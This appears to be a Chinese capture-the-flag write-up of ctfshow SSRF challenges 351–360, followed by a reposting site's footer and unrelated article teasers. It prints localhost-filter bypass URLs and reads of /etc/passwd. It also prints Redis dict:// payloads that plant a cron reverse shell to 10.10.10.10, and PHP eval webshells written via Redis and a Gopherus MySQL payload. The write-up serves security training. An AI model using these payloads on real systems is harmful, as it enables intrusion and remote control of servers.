ctfshow——SSRF

文章目录

  • web 351
  • web 352
  • web 353
  • web 354
  • web 355
  • web 356
  • web357
  • web 358
  • web 359
  • web 360

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

web 351

在这里插入图片描述
首先看关于curl_init的一个例子:

$ch = curl_init(); // 初始化cURL会话// 设置cURL选项
curl_setopt($ch, CURLOPT_URL, 'https://example.com/api'); // 设置URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 将结果以字符串形式返回,而不是直接输出到屏幕// 执行cURL请求
$response = curl_exec($ch);// 检查是否有错误发生
if(curl_errno($ch)) {echo 'cURL错误:' . curl_error($ch);
}
// 关闭cURL会话
curl_close($ch);

其实就是网络请求的一段代码。flag.php不允许远程访问,只能用SSRF发起本地请求获取flag。
在这里插入图片描述

web 352

在这里插入图片描述
首先,先查一下parse_url的用法,主要是将一个URL拆分为协议、主机、路径、查询字符串等部分。
在这里插入图片描述
然后源码中想用preg_match过滤了127.0.0.1localhost关键字,但是没有指定对哪个变量过滤,所以条件恒为真。
在这里插入图片描述

web 353

这一关就对localhost、127.0.进行了过滤。
在这里插入图片描述
绕过方法:

进制绕过 		url=http://0x7F000001/flag.php # 127.0.0.1的十六进制表示
0.0.0.0绕过		url=http://0.0.0.0/flag.php # 0.0.0.0表示本机中所有的IPV4地址
特殊的地址0,	url=http://0/flag.php # 0在linux系统下被解析为127.0.0.1,在windows下解析为0.0.0.0
还有			url=http://127.1/flag.php #127.0.0.1的缩写形式
还有			url=http://127.0000000000000.001/flag.php
还有            url=http://0177.0.0.1/flag.php #0177是127的八进制表示 

在这里插入图片描述

web 354

在这里插入图片描述
这一关把localhost、0、1都过滤了,有一些公共HTTPS域名,但是可以解析到127.0.0.1。如:

http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/

在这里插入图片描述

web 355

在这里插入图片描述
这一关是域名长度小于5,可以用url=http://127.1/flag.php
在这里插入图片描述

web 356

在这里插入图片描述
域名长度小于3的话,用url=http://0/flag.php
在这里插入图片描述

web357

在这里插入图片描述
filter_var函数来验证IP地址的有效性,并且排除了私有IP范围(0.0.0.0/8、172.16.0.0/12和192.168.0.0/16)和保留IP范围(0.0.0.0/8和169.254.0.0/16。)。
用DNS rebind进行DNS重绑定攻击,思路:第一次访问,域名第一次解析是127.0.0.1,第二次解析是104.56.61.24。第二次访问的时候,域名第一次解析是104.56.61.24,第二次解析是127.0.0.1。
在这里插入图片描述

在这里插入图片描述

web 358

就是说必须以http://ctf.开头,show结尾。http://ctf.@127.0.0.1/flag.php?show的意思是用ctf.用户登录到127.0.0.1,并且向flag.php传递参数show
在这里插入图片描述

web 359

在这里插入图片描述
抓包,改reurl参数,发现它会跳转到百度页面,说明此处存在SSRF漏洞。

在这里插入图片描述
一般可以使用file协议读取文件,dict协议探测端口,gopher一般用来攻击redis,mysql,fastcgi,smtp等服务。

// file协议
file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xml//dict协议
一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabsdict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似 

这里用Gopherus去生成webshell,其实本质还是使用gopher协议。注意:Gopherus使用python2

# python2安装pip
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py# 安装Gopherus
./install.sh# 使用Gopherus
python2 gopherus.py --exploit mysql
root
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';

在这里插入图片描述
curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode。这里需要对_后面的数据进行二次URL编码。
在这里插入图片描述

web 360

跟359差不多,只是将mysql变为了redis。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/7696.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python实现的信号合成分析系统(DSP)

python实现的信号合成分析系统(DSP) 流程 1、在QT界面上设置好信号频率,采样频率,采样点数 2、使用np构建sin函数 3、使用matplotlib画出 4、分别分析合成信号的FFT频域信息1、效果图 2、示例代码 def btn_com_clicked(self):# 信号合成分析Fs = self.com_fs_edit_value #…

C++程序设计教案

文章目录&#xff1a; 一&#xff1a;软件安装环境 第一种&#xff1a;vc2012 第二种&#xff1a;Dev-C 第三种&#xff1a;小熊猫C 二&#xff1a;语法基础 1.相关 1.1 注释 1.2 换行符 1.3 规范 1.4 关键字 1.5 ASCll码表 1.6 转义字符 2.基本框架 2.1 第一种&…

巨控GRM561/562/563/564Q杀菌信息远程监控

摘要 通过程序编写、手机APP画面制作等运行系统&#xff0c;实现电脑及手机APP显示的历史曲线画面和数据图形化的实时性。 不仅流程效率提升90%以上&#xff0c;同时为杀菌生产提供有利的质量保障&#xff0c;还有效规避因触屏及内存卡的突发异常导致历史数据的丢失&#xff0…

Web实操(6),基础知识学习(24~)

1.[ZJCTF 2019]NiZhuanSiWei1 &#xff08;1&#xff09;进入环境后看到一篇php代码&#xff0c;开始我简单的以为是一题常规的php伪协议&#xff0c;多次试错后发现它并没有那么简单&#xff0c;它包含了基础的文件包含&#xff0c;伪协议还有反序列化 &#xff08;2&#x…

streamlit通过子目录访问

运行命令&#xff1a; streamlit hello 系统默认使用8501端口启动服务&#xff1a; 如果想通过子目录访问服务&#xff0c;可以这么启动服务 streamlit hello --server.baseUrlPath "app" 也可以通过以下命令换端口 streamlit hello --server.port 9999 参考&…

Python - pyplot 画一个漂亮的饼图 Pie charts

目录 一.引言 二.颜色选择 三.绘制饼图 四.总结 一.引言 因工作需求&#xff0c;需要绘制一些数据的饼图&#xff0c;使用默认的颜色绘制不够美观&#xff0c;下面我们找一些好看的颜色美化一些饼图。 二.颜色选择 我们根据 plt 给出的一些好看颜色对应的编码即可为每一个…

HackMyVM-Animetronic

目录 信息收集 arp nmap nikto whatweb WEB web信息收集 feroxbuster steghide exiftool hydra ssh连接 提权 系统信息收集 socat提权 信息收集 arp ┌──(root㉿0x00)-[~/HackMyVM] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 08:00:27:9d:6d:7…

【无标题】程序设计和c语言-谭浩强配套(适合专升本)

一晃大半年没更新了&#xff0c;一直在备考&#xff0c;想着这几天把前段时间学的c语言给大家分享一下&#xff0c;在此做了一个专栏&#xff0c;有需要的小伙伴可私信获取。 说明&#xff1a;本专栏所有内容皆适合专升本复习资料&#xff0c;本人手上也有日常刷题整理的错题以…

KAN: Kolmogorov–Arnold Networks

KAN: Kolmogorov–Arnold Networks 论文链接&#xff1a;https://arxiv.org/abs/2404.19756 代码链接&#xff1a;https://github.com/KindXiaoming/pyKAN 项目链接&#xff1a;https://kindxiaoming.github.io/pyKAN/intro.html Abstract 受Kolmogorov-Arnold表示定理的启…

数据结构——链表(精简易懂版)

文章目录 链表概述链表的实现链表的节点&#xff08;单个积木&#xff09;链表的构建直接构建尾插法构建头插法构建 链表的插入 总结 链表概述 1&#xff0c;链表&#xff08;Linked List&#xff09;是一种常见的数据结构&#xff0c;用于存储一系列元素。它由一系列节点&…

Bookends for Mac v15.0.2 文献书籍下载管理

Bookends Mac版可以轻松地将其导入参考 &#xff0c;并直接搜索和进口从数以百计的线上资料来源。Bookends Mac版使用内置在浏览器中下载参考与PDF格式的文件&#xff0c;或和/或网页的点击。 Bookends for Mac v15.0.2注册激活版下载 本文由 mdnice 多平台发布

深度学习模型训练套路与验证套路以及如何使用GPU进行模型训练

完整的模型训练套路&#xff1a;代码模板 数据集以经典的 CIFAR10 为例。 这个例子是很简单的&#xff0c;可能不太实用&#xff0c;但重点是通过这个例子掌握一种模型训练的写法套路&#xff0c;因此很有必要学习。 import torch.optim import torchvision from torch impo…

java-串口通讯-连接硬件

串口通信&#xff08;Serial Communications&#xff09;的概念非常简单&#xff0c;串口按位&#xff08;bit&#xff09;发送和接收字节。尽管比按字节&#xff08;byte&#xff09;的并行通信慢&#xff0c;但是串口可以在使用一根线发送数据的同时用另一根线接收数据。它很…

经典面试题之滑动窗口专题

class Solution { public:int minSubArrayLen(int target, vector<int>& nums) {// 长度最小的子数组 // 大于等于 targetint min_len INT32_MAX;// 总和int sum 0;int start 0; // 起点for(int i 0; i< nums.size(); i) {sum nums[i];while(sum > targe…

拥抱新质生产力,助力新型工业化!CMM电子展暨IARS机器人展5月东莞盛大起航

2024年5月15-17日&#xff0c;东浩兰生会展集团旗下CMM电子展&#xff06;IARS机器人展将在广东现代国际展览中心&#xff08;东莞厚街&#xff09;举办。展会面积达50000平方米&#xff0c;展示品牌700余个&#xff0c;同期论坛峰会30余场&#xff0c;预计专业观众超50000人次…

error: pathspec ‘XXX‘ did not match any file(s) known to git

使用vscode&#xff0c;在本地开发切换分支时&#xff0c;报以下错误&#xff1a; error: pathspec XXX did not match any file(s) known to git 该问题是由于没有对应分支的原因。 首先使用一下命令&#xff0c;查看本地及远程的所有分支。 git branch -a 若没有对应的分…

极验4 一键解混淆

提示&#xff01;本文章仅供学习交流&#xff0c;严禁用于任何商业和非法用途&#xff0c;未经许可禁止转载&#xff0c;禁止任何修改后二次传播&#xff0c;如有侵权&#xff0c;可联系本文作者删除&#xff01; AST简介 AST&#xff08;Abstract Syntax Tree&#xff09;&a…

Linux专栏03:使用Xshell远程连接云服务器

博客主页&#xff1a;Duck Bro 博客主页系列专栏&#xff1a;Linux专栏关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ 使用Xshell远程连接云服务器 编号&#xff1a;03 文章目录 使用Xsh…

Jenkins集成Kubernetes 部署springboot项目

文章目录 准备部署的yml文件Harbor私服配置测试使用效果Jenkins远程调用参考文章 准备部署的yml文件 apiVersion: apps/v1 kind: Deployment metadata:namespace: testname: pipelinelabels:app: pipeline spec:replicas: 2selector:matchLabels:app: pipelinetemplate:metada…

软件设计师-应用技术-数据结构及算法题4

考题形式&#xff1a; 第一题&#xff1a;代码填空 4-5空 8-10第二题&#xff1a;时间复杂度 / 代码策略第三题&#xff1a;拓展&#xff0c;跟一组数据&#xff0c;把数据带入代码中&#xff0c;求解 基础知识及技巧&#xff1a; 1. 分治法&#xff1a; 基础知识&#xff1…